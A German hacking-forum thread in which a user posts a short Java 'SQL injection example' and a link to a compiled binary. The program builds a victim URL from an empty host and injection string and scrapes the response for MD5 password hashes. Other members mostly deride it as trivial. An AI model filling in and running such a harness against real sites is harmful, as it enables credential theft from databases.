Java einsetzen für Exploit Programmierung > Es klappt !

[Hassia]

Es hat jemand geschafft einen Exploit zu programmieren unter Java :KA

/*
SQL Injection Example
www.bifrostworld.org
*/

import java.net.*;
import java.io.*;
import java.util.regex.*;
import java.util.*;
import java.io.InputStream;

class SQL {
   public static void main(String[] args){


  //Host URl without http://
  String host="";
  //Injection goes here
  String inject = "";
  String victim = "http://" + host + inject;

   try{
     URL url = new URL(victim);
     URLConnection connect = url.openConnection();
     InputStream in = connect.getInputStream();
     Scanner s = new Scanner(in);

     while(s.hasNext()){
       Pattern pat = Pattern.compile("([a-f0-9]{32})");
       Matcher match = pat.matcher(s.next());

       if(match.find()){
         System.out.println(match.group());
       }else{
         System.out.println("No hash found");
       }
     }
   }catch(Exception e){
     System.out.println(e);
   }
   }
}

Fertig compilt :
http://ul.to/w4aghk

Screenshot :

[l0dsb]

Und was ist daran nun so besonders? o0

[Sirect]

Ja und? Java hat Sockets, warum soll man da keine Exploits schreiben können?

[Hassia]

Und warum gibt es sowas kaum?

[hackerking]

Jop wäre doch besserer wenn es Exploits mit GUIs geäbe...

[J0hn.X3r]

Jop wäre doch besserer wenn es Exploits mit GUIs geäbe...

Ich find ohne GUI siehts besser aus.

Und was das besondere ist:

Ich denk einfach, dass es wenig Java Exploits gibt, und es daher etwas besonderes ist.

[blackberry]

Jop wäre doch besserer wenn es Exploits mit GUIs geäbe...

Und wieso?
Da hier niemand Exploits zum Hacken von zufällig ausgewählten Seiten benutzt, werden diese Exploits sicher nicht häufig genug angewendet als dass sich eine grafische Benutzeroberfläche lohnen würde, ODER?

@Hassia
Ich habe mich mit Java auseinandergesetzt und alle hier anzuschuldigen sich nie mit Java beschäftigt zu haben finde ich ziemlich frech.
Mal ganz davon abgesehen bleibt fraglich in wie weit du dich mit Java beschäftigt hast, wenn du es für so unglaublich toll hällst, mit Java eine Webanfrage durchzuführen und via RegEx alle MD5-ähnlichen Strings anzuzeigen.
(MD5-ähnlich = alle 32 Zeichen langen Strings, die nur aus diesem Zeichensatz besehen: "0123456789abcdef")

PS: das unten abgebildete Programm kann nicht mit dem Sourcecode übereinstimmen, da in diesem keine grafische Oberfläche erstellt wird.

[Hassia]

Es geht aber darum, dass es in Java geschrieben wurde. Außerdem ist es lediglich ein Beispiel wie sowas aussehen kann. Glaube kaum, dass sich hier einer jemals wirklich mit Java auseinander gesetzt hat, sondern einfach nur irgendwas daher redet.

[hpoc]

Ich Frage mich auch gerade was daran so besonders sein solle.

[enco]

Ein Exploit in Ook oder Brainfuck wäre cool, aber an java finde ich nichts besonderes ...